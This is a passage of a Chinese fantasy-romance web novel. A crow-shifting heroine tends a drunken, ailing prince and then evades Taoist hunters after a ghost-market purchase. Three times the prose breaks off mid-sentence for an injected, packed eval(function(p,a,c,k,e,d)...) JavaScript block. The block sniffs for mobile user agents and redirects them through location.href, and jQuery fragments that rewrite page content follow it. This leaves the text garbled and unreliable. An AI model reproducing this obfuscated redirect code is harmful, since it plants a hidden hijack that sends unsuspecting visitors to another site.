方才在袖子里藏着的时候,殷流光便嗅到了商遗思身上的酒味。
果然他现在看起来,颇有几分醉意。
他一向以威严模样示人,如今骤见他这么风流的一面,堪比铁树变桃花,山巅积雪融成雾气温泉。
她默念心咒幻回人形,老老实实敛袖行礼:“方才多谢大王出手相救。”
商遗思抬手揉了揉眉心,闭眸道:“这么晚了,来这里做什么?”
“听说长乐天的芙蓉脍和金玉糟蟹做得好,我便想来买一些带回去……”
听到这里,商遗思揉眉的手微顿,睁开眼看向她,皱了眉:“那为何要变成乌鸦鬼鬼祟祟潜入?”
“本王记得提醒过你,不要小觑夜神司的能力,你若是滥用能力四处乱飞乱撞,本王纵是有八只手十双眼也保不住你。”
虽然被教训了一通,但毕竟他刚刚护过自己,殷流光老老实实听完了,才敢反驳一二:“大王你不知道吗,想进长乐天是有门槛的。”
“我非权非贵,哪里进得了这扇门……”
“所以就变成乌鸦,打算偷摸来买?”
他气极反笑,此时门被拉开,是默玄走了进来,瞧见殷流光,丝毫都不意外,朝商遗思道:“太子上了轿回东宫去了,伏月瞧着像是接到了什么急报,匆匆出城回青雾山,他有陛下钦赐的天师玉牌,守城士兵也不敢拦他。”
他一顿,语气严肃起来:“大王,可要我去查青雾山出了什么事?”
商遗思摇了摇头:“不必,最近这些时日他大肆搜捕方外兽,想必跟城内的方外兽有关,我让你跟君平暗中查访的名单查得怎么样了?”
“大王,虽然有山君可以闻‘味道’,但它毕竟越长越大,不好带出来招摇过市,所以我跟君平也只查出几个……已经都转移了,不会被夜神司查到。”
殷流光眸色轻闪,听起来……商遗思在暗中保护这些普通人所化的方外兽。
为什么?身为金吾卫大将军,他不该是听从圣命,跟夜神司联手诛杀方外兽吗?
还是说,他其实也并不认可,所有的方外兽都是受了诅咒,需要被诛杀的妖邪?
商遗思已经吩咐完了默玄,又道:“出去的时候顺便告诉阎寞,重新做一桌菜送上来。”
他顿了顿,道:“楼里的那些招牌,包括芙蓉脍和金玉糟蟹,都多做一点。”
默玄愣了下,被商遗思扫了眼,立刻站直了道:“好,我这就去告诉阎寞。”
大王所有与往常不同的命令,不用想,肯定是跟殷四娘子有关。
他又一笑:“既然是给殷四娘子做的,那我让阎寞亲自掌勺。”
阎寞这个名字……殷流光也听过。
她就是大名鼎鼎的长乐天的店主人,神秘莫测,一手厨艺出神入化,如今轻易从不下厨,但听默玄这语气,阎寞像是和他一样,都听命于商遗思。
她眨了眨眼,问道:“长乐天……难道是大王的产业?”
大盛律并不禁止官员从商,但也不鼓励。
只看襄王宅那连五品官员宅邸都不如的简朴程度,很难想象这么奢华的长乐天会是他的置业。
商遗思不置可否,道:“算是吧。”
殷流光顿时两眼放光,想问问这店能不能让她也入一股,但被商遗思果断拒绝。
她瘪了瘪嘴,襄王真是小气,想想茶商苏胥,眼睛都不眨,就借给她五百金。
没过一会,门开了,流水一样的菜被放在金碟中送了进来。
最后捧着金玉糟蟹进来的女子一身烟红色襦裙,乌发挽着斜髻,脸上点着金箔花钿,笑吟吟将碟子放下,望了眼殷流光,玩味地勾唇。
“这位就是殷四娘子吧?”
她扭头看向商遗思,以袖掩唇轻笑:“那位让君平吃瘪,还敢威胁大王的乌鸦娘子?”
殷流光吃了一惊,她连这件事都知道?
商遗思没什么表情:“阎寞,你性子是越来越放肆了。”
阎寞却丝毫不像默玄跟君平那样,商遗思变了脸色就乖乖听话,她扭过头,腰身一转,便滑到殷流光身边。
“大王麾下就只有我和君平默玄三个人有化兽的能力,我早就对那两张脸看得厌烦了,前些日子听默玄说大王有意招揽一位
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986125|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乌鸦娘做我等同僚,我可是好生期盼呢。”
她吟吟笑着,妩媚地叹了口气,纤长蔻丹绕过殷流光的肩膀,顺势拿起酒壶给她倒了一杯酒:“只可惜,最后还是没能做成同僚。”
殷流光忍不住好奇:“这位姐姐也能化兽?不知你能化的是什么?”
阎寞举起酒杯,递到她唇边:“你猜呀。”
绞尽脑汁想了半天,殷流光咬着筷子道:“难道……是狐狸?”
除了狐狸,她也想想不出还有什么动物,能配得上阎寞这样妩媚动人的气质了。
阎寞眉头一挑,红唇勾了起来:“殷四娘子,你可真聪明。大王不要你,不如你来长乐天与我作伴?芙蓉脍和金玉糟蟹你若是喜欢吃,每天都有的是……”
这倒也是一条不错的出路,殷流光沉吟:“嗯,我觉得可以考虑考虑。”
“哈哈哈殷四娘子,你可真是太有意思了,难怪大王一眼就挑中了你。”
她起身,看了眼商遗思,曼声道:“行了,如此良宵,岂能辜负?我走了,再不走,大王只怕是要把我轰出去了。”
待她离开之后,商遗思才道:“吃吧。”
“啊?”
“既然变成乌鸦也要飞来吃长乐天的饭,今日本王就让你吃个痛快。”
殷流光“啊”了一声。
她想吃是其次,主要是想给知意也解解馋,‘能不能放在食盒带走’的话才说到一半,就被商遗思堵住,说已经着人备了一份送去殷家。
他对她今天这么好,殷流光疑心有什么阴谋,但毕竟承了他的情,也不好拂面子,便斯斯艾艾地吃了起来。
就这么被商遗思盯着如芒在背,吃完了一顿饭。
她打了个饱嗝,抬起脸堆着笑道:“现在是不是可……”
话还没说完,眼前就出现了一块晶莹剔透的糟蟹,执筷的手修长有力,这双手的主人瞧着她,道:“就吃了这么点?”
这么……点?
她颤巍巍扭头看了眼没剩多少东西的桌上,再扭头回来,已经被商遗思的另一只手轻巧握住下巴,将那筷子糟蟹送了进去。
她不自觉吞进肚中,愣了一下然后连忙后退:“我不吃了!”
商遗思收回筷子,微微皱眉地看着她,语气里还带点疑惑般的确认:“真的饱了?”
“真的!”她小鸡啄米般点头。
商遗思颔首,用帕子慢条斯理地擦了擦手,道:“既然饱了,那就随本王回去吧。”
他说完,理所应当地起身,向殷流光伸出手,那模样那架势,就好像是在等着她重新变成乌鸦站在他手背上一样。
殷流光:?
她感觉有哪里不太对劲。
片刻的沉默中,商遗思也没了耐心,伸手便握住她的手腕,将她拉入自己怀中,垂眸看向她:“又在闹什么脾气?”
他的目光深幽,却并不让人畏惧,如深山之中淙淙流淌的温泉,从狭长俊美的凤眼中显露点点微芒,仿佛飘荡着火红的梅花花瓣,艳丽无双,触手生温。
那张凌厉飞扬的脸上反而因着他这一低头,显现出些许无奈和纵容。
距离得极近,才能看清。
可是……明明从那天之后,他就再也没见过自己,今夜虽然救了她,可刚刚也一直是冷淡的模样。
为何忽然变了?
又为何……抱她?
34. 盛名之下
他垂眸等待着她的回答,单手搂着她的腰,久久没有放开。
殷流光可以笃定,商遗思现在脑子有问题。
她被他紧紧搂着,艰难呼吸:“大王,我是谁?”
他像是很奇怪她这么问:“自然是本王养的乌鸦。”
行,他喝醉了。
原来有些人喝醉是这样的,看起来没有丝毫不同,甚至十分理智清醒,却会清醒着轻薄别人,可怕得很!
她艰难地推他的胸膛,想把他推远,本以为商遗思是不会被她推动的,但没想到他一推就倒。
不仅倒了,还拉着她一起倒在了软榻上。
殷流光懵了。
这怎么还酒后碰瓷?
长乐天专供达官贵人饮宴,装饰奢华,处处精心。
这包厢之内,悬挂着一尺一金的软红鲛绡,飘荡如雾,身下的软榻绣着层林尽染的枫林榴火,燃燃如艳。
博山炉内不断摇曳出馥郁寂静的香雾,但这一切之中,最尊贵最艳丽无双的,还要数紧紧抱着殷流光不放手的襄王殿下。
往日高山仰止的人,如今却仿佛粘人的猞猁山君,无论殷流光如何哄劝都不肯撒手,他的下巴抵在她的脸颊上,轻轻蹭了蹭。
殷流光:?
她想推开他叫默玄进来。
桌上酒壶只空了一半,没想到商遗思酒量这么不好,只饮了几杯就醉成如此模样。
“默……”
她才刚开口就感觉唇上一痛。
“嘶!!”
商遗思这厮,居然酒后发疯咬她!
她怒目而视,盯着莫名其妙低头就咬她的商遗思,对方全无被人怒视的心虚,拇指指尖揩过她潋滟唇瓣:“既然不想回去,那就陪我在这待一会。”
孤男寡女共处一室,大盛还有没有礼法了?
她在他怀里挣扎,无奈商遗思如今倒是有劲得很,殷流光就像是在鸟笼中扑腾的乌鸦,怎么努力都飞不出这狭小的天地。
“啪”——是灯烛燃尽,室内顿时陷入黑暗,月色很快透进茜色纱窗映了进来,清凉如水,映出男人高挺的鼻梁,阴影打在他脸上,深幽一片。
“你这只乌鸦,总是喜欢到处乱飞,无所顾忌。”
“夜里什么都不看不清,若是放你出去,又会横冲直撞,指不定什么时候就被夜神司抓走。”
他的话里带着鼻音,殷流光没想到醉酒的商遗思拉着自己不让她走,竟然是这种理由,她故意说:“要是我被夜神司发现了,大王会来救我吗?”
都赶她走了,定是不喜欢她的吧,再也不会主动跟她有任何牵扯。
他箍着她腰的手紧了紧,唇碰到她的发丝,说出的话音落在渺茫的夜色里,清浅如霜:“会。”
殷流光:……
话音那样笃定,之后又是长长的呼吸声和沉默,让她忽然想到来时的长街上,那一排排寂静的为她照亮眼前路的竹灯笼。
“……夜里街上那些灯笼,是大王为我点的吗?”
又是一阵寂静,喝醉的商遗思分外好说话,有问必答:“嗯。”
原来煌煌灯烛铺满长街,真的是为她一人而点燃。
心里莫名有一霎颤动,她张了张口,想问他为什么要为自己做这么多?明明是她不知冒犯了他多少次,还胁迫君平给他下毒,他应该十分厌恶自己才对,却为何还要默默做这么多保全她的事?
以及……既然愿意点燃灯笼,又为何不愿意收留她在侯府?
她讨厌那个冷漠的地方,千方百计地想要离开,为此不惜欺骗祁承筠,这些商遗思全都知晓……明明那夜,是她难得真情实意,甘心做他的手下,明明看到了她眼里的期待,他为什么要推开自己,将她推回殷家?
疑惑间,却听他蓦然开口:“殷流光,本王有心护你,却护不了你一生一世。”
”若非有足够自保的能力,如果哪一天本王不在了……你便不要再用这变兽的能力,明白吗?”
什么叫做不在了?
她问了好几声,可商遗思却都不回答了。
像是睡着了。
殷流光可以大声喊人进来,可是睡着的商遗思清浅呼吸着,睫毛如翅。
像是夜里诱惑人心,却非要装作无辜的美艳精怪,她的手僵了僵,鬼使神差地拂过他眉眼,轻声在他耳边道。
“大王……你就这么放心我?”
“我如今正是缺钱的时候,若是有人出钱买你的性命,我肯定眼睛都不眨就接了,你若是想死,此时此刻,可有的是机会。”
静了静,她又冷笑道:“你以为你是襄王,就一定比我强吗?我根本不需要你保护,我会自己保护自己,等我做好了金仙铃,到那时说不准你还要反过来求我帮你做事。”
“天子宠臣的处境确实危险了些,但若是你日后肯向我纳上金银财宝,就像那个茶商苏胥一样,有我帮你,就算是朝堂算计,你也不会丢掉性命?”
“人之性命何其可贵,你们这些高门权贵,为何总是动不动就要提到死?”
她想,商遗思一定是因为担忧自己某一天会在朝堂倾轧中丢了性命,才会这么说。
她从前深居殷家,小时候也只是跟着观山在乐游原行骗,从没有机会接触到襄王和广平侯这样手握权柄的重臣,自然不清楚朝堂争斗究竟何其凶险,但从白蛇案中,她多多少少窥见一斑。
身为军功无数,天子宠爱也无人能出其右的襄王,想要复仇广平侯,竟也因为没有证据,不能轻而易将他治罪,需要步步算计,一环套一环,用半年甚至更久的时间来设下圈套。
为了确保天子不起疑心,他甚至要自己亲身入局,用假麒麟那狠狠的一爪子来消灭天子之疑。
风雨如晦,四面八方皆是人面豺狼,站得越高,跌倒时四周环伺的虎豹豺狼自然扑咬得越狠,只看广平侯府一夕之间覆灭后,京城权贵如何急着与祁承筠撇清关系便知道了。
往日盛赞他竹骨兰心的大儒,争先恐后要请他去家中赴宴的夫人们,都齐齐没了声,暗地里忙着销毁与祁家往来的信件。
更有甚者,他往日的部下忙着给东宫舍人送金银珠宝,谋求上位,长公主的家臣也往来匆忙,罗织着更多祁家往日作威作福的证据,利用这些证据让太子频频受责。
这些鬼蜮算计,隐秘人心,她这些日子化身乌鸦深入长安各个权贵宅邸库房,打探金仙铃所需材料时,不知不觉都看了个遍。
长安棋局,一子失,便是步步错,万丈深渊与青云扶摇,似乎只有一线之差。
只是没想到骄傲如商遗思,竟然也会这么想。
可是……他不该是这样的。
在殷流光心中,若是某天见不到商遗思穿着明光铠,骑着漠北高马,矜贵冷漠地走在朱雀大街上,这长安城的风流繁华要逊色三分。
直到天色欲曙,门外响起默玄慢悠悠的敲门声。
殷流光也不知什么时候睡了过去,睁开眼一看,自己还在商遗思的怀里,两人竟就这么抱着过了一夜。
她连忙想要起身,推开商遗思:“大王,醒醒,你的酒也该醒了吧?”
但怎么推他却都是毫无反应,她顿时心生不妙,扬声唤默玄。
默玄进来的时候,便看到大王紧紧攥着殷四娘子的手,眉眼紧闭。
昨夜他们一晚上没出来,他有心想提醒,但却被阎寞拉住,说人家檀郎谢女,浓情蜜意,春风一度,你去捣乱干嘛?
他心中疑惑,大王不是那种轻浮之人,但今日一见,大王在殷四娘子面前……还真挺轻浮浪荡的。
他咳了声,正要转过身,却被殷流光拉住:“我跟大王没什么,他喝醉了把我当成乌鸦而已,但他现在都没醒,我觉得不对劲。”
默玄皱眉,立刻蹲下身去探商遗思的脉息,片刻后抬起头急声道:“大王这是离魂症犯了,快去找阎寞传符,唤青雾山鉴水道长来!”
……
鉴水收了针,对默玄道:“望尘这病许久没犯过了,我探他体内有强行运转内力的痕迹,他受了假麒麟的伤本就还没好,身体极其虚弱,又强用内力,导致了从前被我以金针封住的淤血逆行入脑,这才引发了病症。”
“这是怎么回事?”
默玄瞧着床上犹然昏迷的商遗思,心急如焚,道:“昨夜伏月道长来过,结果撞见一个……方外兽,大王为了护她,动用了内力。”
青袍桃花眼的道士闻言点头:“那就是了。”
他将二十四根金针重新收回囊中,道:“我师父的道行可不是虚的,要想不让他发现端倪,望尘就必须用到七成以上的内力才行。我前些日子才给他扎了针,他这么一出,算是白费了。”
默玄焦急地拱手道:“鉴水道长,您跟大王是至交好友,四年前也是您救了大王的命,这次也要拜托您了!”
鉴水便是殷流光那日在街上遇到那个晴日带蓑笠的道士,他是伏月的得意大徒弟,伏月闭关之时,夜神司一切追捕行动都由鉴水负责。
这也是当时君平化成白蛇在侯府兴风作浪,夜神司却什么也没查到的另一重原因。
默玄一开始以为四年前鉴水只是想取伏月而代之,所以才答应帮商遗思,但四年下来,他瞧着他与大王,倒真成了惺惺相惜的朋友。
虽然他们每次见面,基本都是鉴水在被大王气到七窍生烟。
鉴水摇头叹气:“唉,这离魂症复发,哪是那么好治的?我开个方子,你先拿去熬药给他灌下去吧,至少先把人灌醒。”
屋外的隔间,殷流光跟阎寞坐着,阎寞也是一脸焦急,不住地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986126|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朝里屋望。
“也不知怎么样了……”
殷流光反而十分镇定,沉默了一会,对着阎寞轻声道:“阎寞娘子,大王这离魂症,究竟是怎么回事?”
阎寞早就从君平和默玄那里知道大王和殷四娘子的纠葛,昨夜一见大王看殷四娘子的模样,便十分了然。
这世间总有人心动不自知,但心意却早就泄露在每一个默不作声的眼神中。
但瞧着殷四娘子的模样,像是还没对大王有什么特别的心思,她有心帮大王一把,殷四娘子问的这件事,正好是个机会。
她叹了口气,缓缓说:“这是从前落下的病了。”
“大王五岁丧父丧母,亲眼见到全家被鬼方人屠杀,拼死护着一双弟妹逃出了都督府,所以七郎和三娘对大王来说,比他自己的性命要更重要。”
商氏一族按同辈子孙排序,男女单独论行,商遗思在族中同辈排行第六,七郎便是商遗念,而商遗梦在姐妹中排行第三。
殷流光想到商遗思亲手处决祁君疾的那天晚上,回来的时候,她瞧见他独身一人站在满地冷霜的中庭。
明明那时候,那天的初雪还没有下起来,但他只是站在那里,就让人觉得漫天风雪都压在他肩头。
她迟疑道:“所以这病……是他大胜归来后,知道襄王宅失火,弟妹都死在火中引发的?”
阎寞点了点头,又摇了摇头:“也不尽然。”
“为了报仇,大王十岁潜入鬼方左亲王府,做了五年任人鞭打的奴隶,直到十五岁那年一举刺杀左亲王成功,带领都督旧兵收服灵朔,又花了五年时间不断征战,彻底收回全部陇幽重镇……”
“鬼方人作战狡诈,善驭狼群,大王每次作战都身先士卒,每一场恶战下来,浑身都是伤,他才弱冠,身子骨就已经落下了无数病根,大夫早就说过,他三年内都需要静养,不能再动刀兵。”
“但四年前鬼方吞并风罗大举入侵,边关危及,大王不得不再次披甲上阵,上阵前他旧病复发疼痛难忍,就请青雾山的道士施针压住那些旧症,这原本就是强行逆转身体经脉,得胜归来后又骤然看到七郎和三娘的尸体,哀痛过度,被封住的淤血逆转入脑,才导致了这离魂之症。”
殷流光有些沉默。
以往她只知道商遗思这金吾卫大将军做得好不威风,却不曾想过,将军百战死,前线不断传回的捷报,靠的都是将士尸山血海的搏命,一刀又一刀地挥砍。
她五岁的时候,在殷家举步维艰,却也不愁吃穿,十岁的时候,已经跟着观山在乐游原上招摇撞骗,吃香喝辣。
十五岁,祁承筠喜欢上了她,总是偷偷遣人送来各式各样吃的玩的,虽然在殷家被薄待,但她活得也不算艰难。
亲人皆惨死,自己也落下一身支离病骨,他这一生,不像她以为的那样风光无匹,一路坦途青云。
“大王以前发病时,是什么样子?”
说起这个,阎寞眨了眨眼,像是在迟疑能不能把大王的事情全都抖搂出来,但见殷流光问得认真,心一横反手就卖了商遗思:“咳……大王他会半夜去兽苑,亲自给兽苑豢养的动物喂食吃。”
“喂一整晚……以至于后来很长一段时间,所有动物见了他就跑。”
这是什么奇怪的病症?
那昨夜他把自己当做乌鸦,拉着不让她走,又是什么症状?
殷流光大惑不解,阎寞轻咳一声解释:“具体的我也不清楚,后来大王的病很快被好了,也就再也没提过这茬,只是没想到如今又犯了。”
在这个时机又犯了离魂之症……难道是因为一直以来支撑着他理智的仇已经报了,所以他一时间大喜大恸,又激发了病症?
她的眸光微闪,正思索间,默玄端着药碗走了进来:“药熬好了……殷四娘子,要不你去帮大王喂?”
殷流光很疑惑:“为什么是我?”
默玄跟阎寞对视一眼,他吞吞吐吐道:“你不知道鉴水道长的治病风格……呃,比较粗犷。”
“他每次给大王开的药都苦的要命,还必须喝上三大碗,大王每次喝完药心情都特别不好,若是我跟阎寞去喂,搞不好大王醒来看到我们就生气。”
“但殷四娘子你就不同了,若是你来,大王醒来就算是生气,在你的巧言令色,啊不是,妙语连珠之下,也会消气几分的。”
他们确定他心情不会更差吗?
毕竟他可是因为自己晕过去的……
虽然怀疑,但殷流光还是端着药碗去了内室。
因为她多少还是有一点愧疚。
她瞧着躺在床上的商遗思,他轻阖着眼,睫毛浓密漆黑,鼻梁高挺,唇色苍白,整个人像是一朵染了霜雪,掉落枝头的梅花,触手可得。
竟有些……我见犹怜。
35. 眼前心药
殷流光轻手轻脚走过去,扶起商遗思,将他的脑袋靠在自己肩膀上,一勺勺给他喂药。
他虽然昏迷,喂药却很乖顺。
褐色的药汁浸润过他唇瓣,留下潋滟的水色。
满室寂静,静得只有药勺与瓷碗轻撞的清脆之声。
殷流光喂得很认真,不知过了多久,紧闭双眸的人眉峰蹙起,忽然偏过头不愿意再喝。
“拿走。”
她极其耐心地劝他:“大王,良药苦口利于病啊,还有一点就喝完了,乖,张口。”
听到她的声音,商遗思顿时睁开眼,扭过头,对上殷流光墨黑色的瞳孔,黑白分明,见他醒来,立刻弯起眼睛,染上万千灵动。
“大王,你终于醒了!你觉得怎么样?可有哪里不舒服?”
殷流光在心底悄悄松了口气。
刚刚他一直不醒,她心里好像总有一口气闷着,如今见商遗思醒了,那口气才终于吐了出来。
商遗思直起身子,拉开与她的距离,侧过脸不去看她:“本王无事。”
“你可以走了。”
昨夜还一副不准自己离开的模样,如今又变得冷淡疏离,这人可太善变了。
但他既然下了逐客令,她也没有多待的道理,殷流光不轻不重地搁下药碗,也不多说,转身就走。
商遗思又道:“刘鉴水,你还要躲在屏风后面偷看到什么时候?还不滚进来。”
话音落下,很快一个青袍桃花眼的道士从房间内的六扇牡丹屏风后面转了出来,边走边伸懒腰:“来了来了,我给你治病劳心劳神,躲在后面打个盹怎么了?”
他慢悠悠伸手拦住殷流光:“还有,这位小娘子可不能走。”
“你走了,谁帮我给他治病?”
此人就是那日她见过的道士,殷流光顿住脚步,暗暗吃惊,心想难怪商遗思手底下这么多方外兽,能在长安城出入无所顾忌,原来是夜神司里有自己人。
商遗思瞥了拦住人的道士:“你什么意思?”
鉴水走过来抱臂倚靠在床柱旁:“这些年大战小战,早就把你的气血消耗干净,四年前若是早早远离庙堂,你这病还能好,非要硬撑着让我以金针逆行,到现在淤血堵遍全身经脉,一旦情绪受牵引,便会淤血爆体,旧疾复发。”
他说到这里,还是吊儿郎当的样子,在殷流光跟商遗思之间瞄来瞄去,语气暧昧:“望尘,你这病早不发作晚不发作,为何偏偏挑昨夜?”
商遗思敛眸,语气平静:“我动用了内力。”
难道是昨夜……他帮自己隐藏身份的时候?殷流光一怔。
鉴水呵呵一笑:“虽说也有这原因,不过嘛……这离魂症可不仅仅是因着淤血。”
他语气正经了起来:“之前你得这病的时候去兽苑发疯,是因为痛失至亲,大恸之下行为失常。”
“既然你今日的症状跟这小娘子有关,那就说明是她又激发出了你的某种激烈情绪。”
“解铃还须系铃人,这次你的病想好,就需要这位小娘子帮你消解症结。”
“乃是所谓心药也。”
商遗思皱眉,波动?他对一个总是以下犯上的人能有什么情绪波动?
可他忽然想到君平说她想要攀附太子做太子侧妃的时候……那时,他的确是有一瞬波澜。
可那只是因为不想看到她被夜神司的人揪出来罢了。
绝不是因为在意她接近太子。
殷流光同样大惑不解,问鉴水是不是诊断错了,但鉴水却说怀疑什么都可以,但是绝对不能怀疑他的医术。
他警告商遗思:“你别不拿我的话当话,要是不解决这心病,我可不保证你之后会不会还做出什么半夜囚禁人家小娘子,不让她离开房间这种禽兽行为。”
什么?
他昨夜跟殷流光在厢房待了一整夜?
商遗思抬手捏住眉心……好像隐约有些记忆,他慢慢想了起来。
怀中女子温暖的体温、发丝间沾染的沉香气息、还有柔软饱满的唇瓣……
昨晚……他都干了些什么?
一听之后他还有可能犯病把自己抓起来,殷流光立刻道:“大王,有病就要治啊!”
她扭头看向鉴水:“道长,这心病要怎么治?”
鉴水慢悠悠道:“这就要看襄王殿下得的是什么心病了。”
“不过,我看他一时半会也说不上来,那就只能麻烦你日日饮食起居与他一起,处处照料了。”
商遗思神色很不好。
他如今已经不知道要怎么面对殷流光,昨夜之事归根到底是他的错,殷流光是被他的病无辜连累,思量半晌,他从嘴里僵硬地吐出字:“殷流光,你先回去。”
“今日之事,本王会给你一个交代。”
殷流光临走之时还在语重心长:“大王,你千万不能讳疾忌医啊,我每日去你府上端茶送水,陪你吃药没问题的,只要你付我封口费就行。”
“封口费?”鉴水好奇:“不该是侍药的月钱吗?”
殷流光笑嘻嘻:“当侍药侍女才能有几个月钱啊,大王这病这么古怪,传出去还有失大王威名,当然要多付我一点封口费,我才好闭上嘴安心陪伴大王呀。”
她又补充一句:“而且大王不要担心,昨晚我们什么都没发生,这件事我也不会说出去,对大王的清誉不会有半分影响。”
直到殷流光走远了,鉴水真情实意地对脸色发青的商遗思道:“我明白了,你这病纯是被这小丫头气出来的。”
“还仗着你需要她治病不能动她,这么明目张胆地勒索你。”
殷流光当然是勒索,谁让她辛辛苦苦喂他吃药,手都端碗端麻了,他一睁眼就要赶自己走?
这么恩将仇报,当然要给他点颜色看看。
不过眼下最重要的,还是明天中午去鬼市交易。
……
第二日,殷流光踩着时辰到了鬼市。
魍郎君把一个灰扑扑束了口的袋子交到她手上,摇着扇子道:“东西齐了,你点一点,没问题就把剩下的五百金付清。”
她打开束口朝里看了眼,被一霎透出的宝光晃得眼花。
金错刀、马蹄金、五行珠、辟寒玉……每一样都流光溢彩,最神奇的是那五行珠,透明圆润的珠身中流转着五彩光芒,赤黄蓝白玄,五色交融流转,变化无数形状。
即使是再不懂行的人,也一眼就能断定这是真货。
她点头,挑眉赞道:“行啊你,果真是百无禁忌的魍郎君,什么金贵货都能弄到手。”
魍郎君也不客气,翘起二郎腿,得意无比:“其他的也就罢了,那辟寒玉放在少府库房里蒙灰,也好拿,唯独这五行珠不好拿,我可是请了业内最厉害,早就不接单的衔蝉奴重新出山,昨夜亲自去了青雾山才拿到的。”
殷流光吹捧了一番魈郎君的人脉有多通达,吹得他通体舒畅,直说这个大单之后,两人往后便是如兄妹家人一般,之后若是再有什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986127|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
需要,他给殷流光打骨折,殷流光笑眯眯点头,将苏胥给她的银票递给魍郎君,这桩交易便是成了。
但走到一半,袋子里忽然发亮,她打开看了眼,里头的五行珠不断闪烁着暗红色的光。
第一反应是买到了假货,但转念一想又觉得不对。
以防万一,她在师父留下的天书中仔细阅读过五行珠和辟寒玉的描述,与这袋子里的东西别无二致。
而且魈郎君在鬼市纵横这么些年,靠的就是他的信誉,否则他早就被黑白两道的人剁成了肉泥。
不是假货的话……那就是珠子的问题了。
耳尖一动,她在闹市中停住脚步,微微侧过身,余光瞧见一个摊子后闪过的青色道袍。
糟了!
被人跟上了!
魍郎君这厮,肯定是图便宜请的人,那什么早已不出山的衔蝉奴偷五行珠的时候一定是被夜神司的人发现了!
可他们没有当场拿人,反而一路按兵不动跟踪到此……
恐怕是猜到了偷五行珠的人想拿这东西做什么,准备来个瓮中捉鳖拿个大的。
思及此处,她立刻继续神色如常向前走,脑子里飞速思索着对策。
夜神司对待方外兽的手段她早就在广平侯府见识过,雷网恢恢,碰一下就会烧焦皮肉,撞到他们手里还不如自行了断去跳曲江。
但她绝不会放弃阿娘给的这条命。
她一边走一边用余光暗中判断跟着她的有几个人。
前后左右,竟然都有穿着道袍,隐在人群里的道士……但似乎他们并不能确定拿着珠子的人到底是这闹市中的哪一个,跟着手中罗盘的方向,目光不断在人群中逡巡。
“卖胡饼喽——香脆酥软,刚出锅的胡饼喽——”
耳畔传来叫卖胡饼的声音,殷流光顿时灵光一动,想起昨夜在长乐天,商遗思用内力阻隔伏月的捕兽网时,她感受到的灼热气息。
她当机立断,将那颗不断闪烁的五行珠塞进胡饼摊子上刚烤好的还冒着热气的大饼里。
摊主是个老者,吓了一跳:“姑娘,这是刚出锅的,可烫手!”
殷流光顾不得手疼,从怀里将一块碎银递给老翁,跟他急匆匆道:“老人家,这胡饼我全要了,等会来拿,你千万别卖给旁人啊!”
说罢,她闪身进了最近的茶楼,在靠窗的位置上坐了下来,挑开窗子往下看。
楼下那几名道士的身影已经走到了胡饼摊子附近。
“明明罗盘指向的就是这里……怎么忽然不见了?”
“指针也不转了,奇怪……难道那盗珠人已经发觉逃走了?”
“不好,快追!”
待他们都朝着不同的方向急匆匆跑远,消失了个一干二净,殷流光合上窗户,施施然起身。
果然高温会干扰夜神司的法器。
正要走,却蓦然僵立原地。
远处那徐徐从楼梯走上来的老者,不是伏月又是谁?
他在侯府见过自己,此刻又在这里看到她,定然会起疑。
眼看他的目光就要扫过这里,她来不及躲闪,眼前却骤然被一片竹青色的衣袖遮挡。
耳边响起男子温柔浅笑的声音:“夫人,我来迟了,你莫怪。”
他自然而然地将她圈在怀中,完全地遮挡住了伏月的视线。
男子含笑地轻握住她的腰,低头看向她,仿佛寻常夫妻般恩爱。
貌若莹玉,如披烟雾,不是苏胥是谁?
36. 舞雩飞鸢
他眸光落在她发红的指尖上,微微一顿,如珍似宝地捧起她的手,放在唇边轻柔地吹了吹:“怎么这么不小心,倒杯茶都能被烫到?”
“我……我只是恼你怎么来得这样迟,才分了神。”
伏月的身影从他们身旁经过,殷流光忙随口扯了一句,装作嗔怒地依偎在苏胥胸口,她有些不自在,慢吞吞想从他手中抽出自己的手。
苏胥却不许她离开,捏紧了她的手腕,继续慢条斯理地吹气,道:“是我不好,让夫人等我这么久。”
“往后不会了。”
很轻的一句话,明明只是逢场作戏,殷流光却莫名听出一丝真心的意味。
被他轻轻吹过的地方,也没有那么疼。
待伏月走后,殷流光轻舒了口气,立即从苏胥怀中抽身,他怀中手中都蓦然一空,身影像是有片刻微顿,似是怅然,又勾起唇微微笑了起来。
伏月已经在另一处靠窗的位置坐下,他今日没有带捕兽网,看他样子,应当只是抱着跟殷流光一样的目的,占据一个可以俯瞰整条街,寻找“盗珠人”的位置。
殷流光拉了拉苏胥的衣袖,示意他掩护自己下楼,苏胥立刻意会,起身道:“唉,都怪为夫来迟了,这菜都冷了,也吃不得了。”
